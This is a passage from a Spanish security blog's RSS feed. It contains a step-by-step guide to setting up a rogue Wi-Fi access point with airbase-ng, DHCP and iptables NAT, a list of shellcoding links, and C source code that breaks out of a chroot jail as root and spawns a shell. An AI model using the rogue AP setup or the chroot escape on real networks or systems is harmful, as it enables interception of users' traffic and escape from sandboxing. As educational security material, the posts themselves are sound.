<p><a href="http://windowstips.wordpress.com/2011/04/29/volatility-framework-installer/">Más información</a> en el blog de Juan Garrido.</p>
]]></content:encoded>
			<wfw:commentRss>http://opensec.es/2011/05/03/volatility-installer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HowTo: Rogue AP</title>
		<link>http://opensec.es/2011/03/30/howto-rogue-ap/</link>
		<comments>http://opensec.es/2011/03/30/howto-rogue-ap/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 22:50:37 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[Ataques]]></category>
		<category><![CDATA[Bash Script]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://opensec.es/?p=418</guid>
		<description><![CDATA[<a href="http://opensec.es/2011/03/30/howto-rogue-ap/" title="HowTo: Rogue AP"></a>Con este post pretendo despejar posibles dudas que han podido surgir tras leer los artículos anteriores sobre cómo montar un punto de acceso falso (Rogue AP) sobre DNS , DHCP, etc. Para comenzar, necesitaremos una interface en modo monitor así &#8230;<p class="read-more"><a href="http://opensec.es/2011/03/30/howto-rogue-ap/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://opensec.es/2011/03/30/howto-rogue-ap/" title="HowTo: Rogue AP"></a><p>Con este post pretendo despejar posibles dudas que han podido surgir tras leer los artículos anteriores sobre cómo montar un punto de acceso falso (Rogue AP) sobre DNS , DHCP, etc.</p>
<p>Para comenzar, necesitaremos una interface en modo monitor así que la creamos con <a href="http://www.aircrack-ng.org/doku.php?id=airmon-ng" target="_blank">airmon-ng</a> o con <a href="http://wireless.kernel.org/en/users/Documentation/iw" target="_blank">iw</a>, como más os guste (aunque viene a ser lo mismo).</p>
<pre>sch3m4@caronte:~$ cd /tmp/
sch3m4@caronte:/tmp$ wget -c 'http://wireless.kernel.org/download/iw/iw-0.9.22.tar.bz2'
--2011-03-29 22:00:58--  http://wireless.kernel.org/download/iw/iw-0.9.22.tar.bz2
Resolviendo wireless.kernel.org... 78.46.109.217
Connecting to wireless.kernel.org|78.46.109.217|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 50526 (49K) [application/octet-stream]
Saving to: `iw-0.9.22.tar.bz2'

100%[===================================================================================================================================================================================================&gt;] 50.526       233K/s   in 0,2s

2011-03-29 22:00:59 (233 KB/s) - `iw-0.9.22.tar.bz2' saved [50526/50526]

sch3m4@caronte:/tmp$ tar xf iw-0.9.22.tar.bz2
sch3m4@caronte:/tmp$ cd iw-0.9.22/
sch3m4@caronte:/tmp/iw-0.9.22$ make clean &amp;&amp; make
CC   iw.o
CC   genl.o
CC   event.o
CC   info.o
CC   phy.o
CC   interface.o
CC   ibss.o
CC   station.o
CC   survey.o
CC   util.o
CC   mesh.o
CC   mpath.o
CC   scan.o
CC   reg.o
GEN  version.c
CC   version.o
CC   reason.o
CC   status.o
CC   connect.o
CC   link.o
CC   offch.o
CC   ps.o
CC   cqm.o
CC   bitrate.o
CC   sections.o
CC   iw
sch3m4@caronte:/tmp/iw-0.9.22$ sudo make install
GZIP iw.8
INST iw
INST iw.8
sch3m4@caronte:/tmp/iw-0.9.22$</pre>
<p>Ahora vamos a instalar el servidor <strong>DHCP</strong> y realizaremos una configuración básica, con esto conseguiremos que los clientes obtengan los datos de red de forma automática al realizar una petición DHCP.</p>
<p>Para no complicarnos y dado que todo esto lo estoy realizando sobre Debian, instalaremos el servidor DHCP desde los repositorios, instala el que más te guste, en mi caso tengo instalado &#8220;<strong>isc-dhcp-server</strong>&#8220;:</p>
<pre>sch3m4@caronte:/tmp/iw-0.9.22$ apt-cache search dhcp | grep -i server
bootp - server for the bootp protocol with DHCP support
udhcpd - Provides the busybox DHCP server implementation
dhcp-probe - network DHCP or BootP server discover
dhis-server - Dynamic Host Information System - server
dnsmasq-base - A small caching DNS proxy and DHCP/TFTP server
dnsmasq - A small caching DNS proxy and DHCP/TFTP server
gadmintools - GTK+ server administration tools (meta-package)
dhcp3-server - ISC DHCP server (transitional package)
isc-dhcp-server-dbg - ISC DHCP server for automatic IP address assignment (debug)
isc-dhcp-server-ldap - DHCP server able to use LDAP as backend
isc-dhcp-server - ISC DHCP server for automatic IP address assignment
ltsp-server-standalone - complete LTSP server environment
python-pydhcplib - Python DHCP client/server library
resolvconf - name server information handler
wide-dhcpv6-server - DHCPv6 server for automatic IPv6 hosts configuration
dibbler-server - Servidor de DHCPv6 adaptable
sch3m4@caronte:/tmp/iw-0.9.22$</pre>
<p>Una vez instalado, si solo queremos usarlo para casos puntuales y evitar que esté siempre corriendo:</p>
<pre>sch3m4@caronte:/tmp/iw-0.9.22$ sudo update-rc.d -f isc-dhcp-server remove</pre>
<p>La configuración que vamos a usar para el DHCP es la siguiente:</p>
<pre>ddns-update-style none;
ignore client-updates; # ignoramos peticiones de actualizacion DDNS de los clientes
authoritative; # servidor maestro de dhcp
default-lease-time 86400; # 24 horas (tiempo de "vida" de la IP asignada al cliente)
max-lease-time 172800; # 48 horas (tiempo de "vida" maximo de la IP asignada al cliente)

subnet 192.168.3.0 netmask 255.255.255.0
{
option routers 192.168.3.1; # router de la red
option broadcast-address 192.168.3.255; # direccion broadcast
option domain-name-servers 80.58.61.250,80.58.61.254; # DNS para los clientes
range 192.168.3.33 192.168.3.254; # rango de IPs permitidas
allow unknown-clients; # no filtramos clientes asi que no seria necesario, pero asi no se olvida
}</pre>
<p>Esta es la configuración mínima recomendable que debemos tener para poder ofrecer DHCP a los clientes, podríamos crear diferentes &#8220;pools&#8221; con otros servidores DNS, filtrar por dirección MAC, fabricante, y un largo etcétera que no nos es vital para la ocasión, el que quiera ampliar un poco más: <a href="http://www.isc.org/software/dhcp/documentation">http://www.isc.org/software/dhcp/documentation</a></p>
<p>Ahora crearemos la interface en modo monitor para ofrecer el AP:</p>
<pre>sch3m4@caronte:/tmp/iw-0.9.22$ sudo iw dev wlan0 interface add wifi0 type monitor</pre>
<p><strong>wlan0</strong> es el nombre de la interface sobre la que vamos a crear la interface virtual <strong>wifi0</strong> en modo monitor.</p>
<pre>sch3m4@caronte:/tmp/iw-0.9.22$ sudo iwconfig wifi0
wifi0     IEEE 802.11bg  Mode:Monitor  Frequency:2.462 GHz  Tx-Power=15 dBm
Retry  long limit:7   RTS thr:off   Fragment thr:off
Power Management:off

sch3m4@caronte:/tmp/iw-0.9.22$</pre>
<p>Hecho esto, lanzamos <strong>airbase-ng</strong> para anunciar nuestro AP:</p>
<pre>sch3m4@caronte:/tmp/iw-0.9.22$ sudo airbase-ng -w abcdef0123 -y -I 50 wifi0 --essid OpenSec
22:46:14  Created tap interface at0
22:46:14  Trying to set MTU on at0 to 1500
22:46:14  Trying to set MTU on wifi0 to 1800
22:46:14  Access Point with BSSID 00:80:5A:4D:9B:10 started.</pre>
<p>Con lo cual, solo creamos un AP con essid &#8220;<strong>OpenSec</strong>&#8220;, con clave <strong>WEP</strong> &#8220;<strong>abcdef0123</strong>&#8220;, a través de la interface <strong>wifi0</strong> y mediante la opción &#8220;<strong>-y</strong>&#8221; le indicamos que no responda a &#8220;broadcast probes&#8221; y con &#8220;<strong>-I</strong>&#8221; le indicamos el intervalo de tiempo en milisegundos para enviar los beacons.</p>
<p>En este caso no he especificado el canal, ya que al estar operando sobre <strong>wlan0</strong> que está conectada a otra red, el canal ya está establecido.</p>
<p>Ahora desde otro terminal ejecutamos:</p>
<pre>sch3m4@caronte:~$ sudo ifconfig at0 192.168.3.1 netmask 255.255.255.0 up
sch3m4@caronte:~$ sudo dhcpd at0</pre>
<p>En el último comando no le especifico la ruta al fichero de configuración &#8220;<strong>dhcpd.conf</strong>&#8221; porque se encuentra en la ruta por defecto (&#8220;<strong>/etc/dhcp/dhcpd.conf</strong>&#8220;).</p>
<p>A continuación, vamos a configurar <strong>iptables</strong> con una política por defecto <strong>DROP</strong> en <strong>INPUT/OUTPUT/FORWARD</strong> para que se vea más claro cómo tenemos que gestionar el tráfico:</p>
<pre>#!/bin/bash

AP_RED='192.168.3.0/24'
AP_IFACE='at0'
INET_IFACE='wlan0'

#Limpiamos las reglas previas
iptables -F
iptables -X
iptables -Z
iptables -t nat -F

#Politica para denegar todo por defecto
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Permitimos todo en local
iptables -A INPUT -i lo -d $LOOP -j ACCEPT
iptables -A OUTPUT -o lo -s $LOOP -j ACCEPT

# Permitimos todo en at0
iptables -A INPUT -i $AP_IFACE -j ACCEPT
iptables -A OUTPUT -o $AP_IFACE -j ACCEPT

# Permitimos forwarding en la subred del AP
iptables -A FORWARD -s $AP_RED -i $AP_IFACE -o $INET_IFACE -j ACCEPT
iptables -A FORWARD -d $AP_RED -o $AP_IFACE -i $INET_IFACE -j ACCEPT

# Enmascaramos la subred del AP con la interface conectada a internet
iptables -t nat -A POSTROUTING -s $AP_RED -o $INET_IFACE -j MASQUERADE

# Como por defecto hacemos DROP, permitimos todo en $INET_IFACE
iptables -A INPUT -i $INET_IFACE -j ACCEPT
iptables -A OUTPUT -o $INET_IFACE -j ACCEPT

unset AP_RED AP_IFACE INET_IFACE

exit 0</pre>
<p>Este listado de reglas pisarán a las que se tengan previamente, así que si tienes alguna regla en el equipo debes modificar el listado anterior e integrarlas con las que tengas, y cuidado con el orden en que se establecen, que no es lo mismo &#8220;meter a tu novia en un barco&#8221; que &#8220;meter un barco en tu novia&#8221; :-p</p>
<p>Siguiendo con la línea, que no se olvide activar el forwarding:</p>
<pre>sudo sysctl -w net.ipv4.ip_forward=1</pre>
<p>Antes indicamos cómo evitar que el servidor DHCP se iniciase en cada inicio del sistema, pero si por el contrario esto es lo que queremos, debemos agregar las interfaces en las que se deben escuchar las peticiones en &#8220;<strong>/etc/default/isc-dhcp-server</strong>&#8221; y configurar manualmente los datos de la interface en &#8220;<strong>/etc/network/interfaces</strong>&#8220;.</p>
<p>Y eso es todo, las peticiones DNS de los clientes serán enviadas a los servidores que hemos espeficicado en el archivo &#8220;<strong>dhcpd.conf</strong>&#8220;.</p>
<p>Otros links:</p>
<ul>
<li><a href="http://rfakeap.tuxfamily.org/" target="_blank">rfakeap</a></li>
<li><a href="http://code.google.com/p/fakeap-pwn/" target="_blank">fakeAP-pwn</a></li>
<li><a href="http://www.metasploit.com/redmine/projects/framework/wiki/Karmetasploit" target="_blank">Karmetasploit (Rapid7)</a></li>
<li><a href="http://karmetasploit.com/" target="_blank">Karmetasploit.com</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://opensec.es/2011/03/30/howto-rogue-ap/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Shellcoding &#8211; Tips &amp; Series</title>
		<link>http://opensec.es/2010/12/13/shellcoding-tips-series/</link>
		<comments>http://opensec.es/2010/12/13/shellcoding-tips-series/#comments</comments>
		<pubDate>Mon, 13 Dec 2010 11:53:54 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[ASM]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programacion]]></category>
		<category><![CDATA[Shellcodes]]></category>

		<guid isPermaLink="false">http://opensec.es/?p=394</guid>
		<description><![CDATA[<a href="http://opensec.es/2010/12/13/shellcoding-tips-series/" title="Shellcoding - Tips &amp; Series"></a>Por cuestiones personales llevo bastante tiempo offline, pero por suerte aún puedo pasar algún tiempo leyendo algunos blogs y RSS. Concretamente, leyendo el blog de vlan7 veo que está publicando una serie de posts sobre shellcoding bastante curiosos, y lo &#8230;<p class="read-more"><a href="http://opensec.es/2010/12/13/shellcoding-tips-series/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://opensec.es/2010/12/13/shellcoding-tips-series/" title="Shellcoding - Tips &amp; Series"></a><p>Por cuestiones personales llevo bastante tiempo offline, pero por suerte aún puedo pasar algún tiempo leyendo algunos blogs y RSS. Concretamente, leyendo el blog de <a href="http://www.vlan7.org/" target="_blank">vlan7</a> veo que está publicando una serie de posts sobre shellcoding bastante curiosos, y lo que parece ser el comienzo de una serie de artículos sobre shellcoding! Pongo los links a continuación y desde aquí animar a vlan7 a seguir con las series.</p>
<p><a href="http://www.vlan7.org/2010/10/creando-shellcodes-position-independent.html" target="_blank">Creando shellcodes &#8220;position independent&#8221;</a></p>
<p><a href="http://www.vlan7.org/2010/10/shellcoding-vueltas-con-el-flag-nx.html" target="_blank">Shellcoding. A vueltas con el flag NX</a></p>
<p><a href="http://www.vlan7.org/2010/11/asm-shellcoding-series-i.html" target="_blank">0&#215;01 &#8211; ASM / Shellcoding Series I</a></p>
]]></content:encoded>
			<wfw:commentRss>http://opensec.es/2010/12/13/shellcoding-tips-series/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bypassing Chroot</title>
		<link>http://opensec.es/2010/03/03/bypassing-chroot/</link>
		<comments>http://opensec.es/2010/03/03/bypassing-chroot/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 16:08:43 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[Ataques]]></category>
		<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programacion]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://opensec.es/?p=372</guid>
		<description><![CDATA[<a href="http://opensec.es/2010/03/03/bypassing-chroot/" title="Bypassing Chroot"></a>Con la excusa de llevar mucho tiempo sin escribir ninguna entrada, aprovecho para decir que ya se ha inaugurado el blog de elhacker.net (blog.elhacker.net). La primera entrada, de la mano de Kamsky habla sobre jaulas chroot, y algunos métodos para &#8230;<p class="read-more"><a href="http://opensec.es/2010/03/03/bypassing-chroot/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://opensec.es/2010/03/03/bypassing-chroot/" title="Bypassing Chroot"></a><p>Con la excusa de llevar mucho tiempo sin escribir ninguna entrada, aprovecho para decir que ya se ha inaugurado el blog de elhacker.net (<a href="http://blog.elhacker.net" target="_blank">blog.elhacker.net</a>).</p>
<p>La primera entrada, de la mano de Kamsky habla sobre jaulas chroot, y algunos métodos para saltarnos esta medida de prevención.</p>
<p>El artículo original: <a href="http://blog.elhacker.net/2010/03/jaulas-chroot.html" target="_blank">http://blog.elhacker.net/2010/03/jaulas-chroot.html</a></p>
<p>Aquí adjunto el código retocado para salir del chroot siendo root:</p>
<pre>/*
Chema Garcia (a.k.a. sch3m4)

sch3m4@opensec.es

http://opensec.es

*/

#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;pwd.h&gt;

#define FOLDER      "chbrk"
#define PERM        0700
#define MAX_CHDIR   200

#define SHELL       "/bin/sh"

int main()
{
    int           fd;
    struct stat   statf;
    ino_t         aux;
    unsigned int  cont;
    struct passwd *owner;
    char          *directory;

    if(getuid()!=0)
    {
        fprintf(stderr,"\nThis program cannot work without root privileges\n");
        return -1;
    }

    fd=open(".",O_RDONLY);
    mkdir(FOLDER,PERM);
    chroot(FOLDER);
    fchdir(fd);
    close(fd);

    aux=0;
    cont=0;
    while(!stat(".",&amp;statf) &amp;&amp; aux!=statf.st_ino &amp;&amp; cont++ &lt; MAX_CHDIR)
    {
        aux=statf.st_ino;
        chdir("..");
    }

    if(aux==statf.st_ino)
    {
        chroot(".");
        owner=getpwuid(statf.st_uid);

        directory=getcwd(0,0);
        fprintf(stderr,"\n+=[ Done! ]=+\n");
        fprintf(stderr,"\n+ Directory:  %s",directory);
        fprintf(stderr,"\n+ Inode:      %d",(int)statf.st_ino);
        fprintf(stderr,"\n+ Owner:      id=%d (%s) / gid=%d \n\n",owner-&gt;pw_uid,owner-&gt;pw_name,owner-&gt;pw_gid);
        free(directory);

        execl(SHELL,(char*)0,(char*)0);
    }

   return 0;
}
</pre>
<p>Y la url a pastebin: <a href="http://pastebin.com/su0wsDer" target="_blank">http://pastebin.com/su0wsDer</a></p>
]]></content:encoded>
			<wfw:commentRss>http://opensec.es/2010/03/03/bypassing-chroot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

